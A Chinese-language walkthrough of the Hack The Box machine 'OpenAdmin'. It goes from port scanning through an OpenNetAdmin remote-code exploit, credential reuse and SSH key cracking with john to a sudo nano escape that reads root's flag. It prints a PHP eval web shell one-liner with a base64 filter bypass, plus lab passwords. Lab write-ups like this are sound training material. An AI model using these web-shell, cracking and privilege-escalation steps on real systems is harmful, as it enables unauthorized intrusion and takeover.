0x00 前期准备

关于注册账户与openvpn的安装可参考hackthebox如何获取邀请码以及配置
攻击机:Kali-Linux-2019.4-amd64


0x01 获取shell

1、端口扫描

确定目标为:10.10.10.171
使用nmap进行端口扫描:nmap -Pn -sT 10.10.10.171
OpenAdmin_nmap.png

确定目标开放22和80端口,ssh的爆破先不考虑,先进web界面看看。

2、WEB突破

直接访问目标的web服务是一个apache的默认界面,除此之外并没发现什么。
OpenAdmin_apache_default.png

那么接下来就试试目录扫描,工具:dirbuster
OpenAdmin_dirbuster.png

扫描结果中出现了三个目录:artwork、music、ona。artwork页面下并没发现什么可用信息,music的login按钮最后会跳转到ona目录下
OpenAdmin_dirbuster_result.png

http://10.10.10.171/ona/页面长下面这样:
OpenAdmin_ona.png

  • 网页标题为:OpenNetAdmin :: 0wn Your Network
    猜测OpenNetAdmin可能是某个系统名称,版本:v18.1.1
  • 点击右上角的小人儿,显示的是一个用户信息。还有Current DB connection info
    说明该web会与数据库进行了连接,猜测其可能会把连接的账号密码等信息写到配置文件中

OpenAdmin_ona_userinfo.png

3、漏洞搜索与利用

OpenNetAdmin是一个IP网络地址和主机管理系统,我们在kali里面搜一下查看是否有可利用的脚本:searchsploit opennetadmin
OpenAdmin_searchsploit.png

第二个和第三个结果刚好和我们靶机的版本一样,我最开始用的Metasploit的那个脚本,但是会显示Exploit completed, but no session was created.
OpenAdmin_msf.png

尝试shell脚本:
searchsploit -m 47691将该脚本拷贝到当前目录
OpenAdmin_m.png

直接运行脚本是会出现错误的
OpenAdmin_wrong.png

cat -A 47691.sh可以看到^M,这个其实就是上面报错的\r
OpenAdmin_cat1.png

解决办法:sed -i 's/\r$//' 47691.sh删掉\r字符

再回到上面查看源代码,需要传入一个URL参数。所以运行命令为./47691.sh http://10.10.10.171/ona/
OpenAdmin_shell.png

直接获得了shell
下面写一个一句话进去:echo "<?php @eval($_POST['123456']);?>" > test.php
查看文件发现$_POST被过滤了:
OpenAdmin_shell2.png

base64编码一下php语句就行了:echo "PD9waHAgQGV2YWwoJF9QT1NUWycxMjM0NTYnXSk7Pz4=" | base64 -d > test.php
蚁剑成功连上:
OpenAdmin_蚁剑.png

如果需要上传大马就直接本地python开启个简单的HTTP服务器:python -m SimpleHTTPServer 8088 ,然后在靶机上wget下载。当然上传文件方法不止这一种。


0x02 SSH用户登录

1、登录jimmy用户ssh

随便翻了一下,在/var/www/目录下发现了/internal/但是并没有对外开放,先记下来,待会儿再看
OpenAdmin_internal.png

前面推测了OpenNetAdmin可能会把连接的账号密码等信息写到配置文件中,那么我们现在就来试试搜索下配置文件:find ./ -name '*database*inc*'
OpenAdmin_find.png

查看该文件获得一个数据库的用户名ona_sys和密码n1nj4W4rri0R!
OpenAdmin_database_settings_inc.png

在最开始进行端口扫描的时候并没有扫描到数据库端口,所以我们就先不尝试登陆数据库,可以试着用该密码登陆下ssh
蚁剑切换到/home/下可以看到两个用户:jimmyjoanna
OpenAdmin_home.png

后面的突破口可能就在这两个用户的家目录下了。
两个账号中只有jimmy可以用该密码登陆:ssh jimmy@10.10.10.171
OpenAdmin_ssh.png

2、登录joanna用户ssh

emm登陆jimmy家目录后并没发现什么可用信息。。。
那就去刚才发现的internal目录看一下吧
该目录下存在三个文件,index.php是一个登陆页面,main.php写了一个执行命令的语句用于查看joanna的ssh密钥
OpenAdmin_internal_main.png

如果直接请求这个页面会提示404错误,可能这个站的端口不是默认配置的80
OpenAdmin_404.png

那么接下来肯定是去看一下他apache的配置信息cd /etc/apache2/sites-available
该目录下存在internal.conf文件,查看该文件信息:
OpenAdmin_conf.png

mpm_itk_module模块用于以独立账号运行PHP站点,这里配置的以joanna用户在本地52846端口运行internal的web站点
http://127.0.0.1:52846/main.php请求main.php获得ssh密钥与一个密码ninja
OpenAdmin_rsa_key.png

ssh登录ssh -i ssh.rsa joanna@10.10.10.171
这里出现了一个报错,说644对于私钥的权限开放的太高,该文件不能被其他人访问,只要将所属组和其他人的read权限取消即可,那么我们就给他赋予600权限吧chmod 600 ssh_rsa.txt
OpenAdmin_ssh_premissions.png

但是这问题解决后输入密码ninja登录失败
那就来试试爆破吧
使用工具:john
破解ssh密钥教程:JTR(John The Ripper)的ssh密钥破解记录

字典:使用kali自带的rockyou
解压:gzip -d /usr/share/wordlists/rockyou.txt.gz
然后使用ssh2john将ssh密钥转换为john兼用的格式

locate ssh2john
python /usr/share/john/ssh2john.py ssh_rsa.txt > ssh_john

OpenAdmin_ssh2john.png

开始破解john --wordlist=/usr/share/wordlists/rockyou.txt ssh_john
获取到密码:bloodninjas
OpenAdmin_john.png

使用该密码成功登陆:
OpenAdmin_joanna.png


0x03 获取FLAG

1、获取FLAG1

在joanna用户家目录下找到flag1:
OpenAdmin_flag.png

2、获取FLAG2

第二个flag在root用户下,一般是选择提权,linux下提权方式有很多:内核栈溢出提权、sudo 滥用、SUID提权
这里输入sudo -l后有一个提示:
OpenAdmin_sudo.png

nano是一个字符终端的文本编辑器,有点像DOS下的editor程序。它比vi/vim要简单得多,比较适合Linux初学者使用。某些Linux发行版的默认编辑器就是nano

joanna可以sudo运行nano读取/opt/priv不需要密码
输入sudo /bin/nano /opt/priv进入nano编辑器
OpenAdmin_nano.png

键入Ctrl+R后再键入Ctrl+X可进行命令执行
OpenAdmin_nano_exec.png

输入ls /root后回车得到/root目录下的文件名
OpenAdmin_nano_ls.png

输入cat /root/root.txt获得flag2:
OpenAdmin_nano_cat.png

Last modification:January 28th, 2020 at 08:10 pm
如果觉得我的文章对你有用,请随意赞赏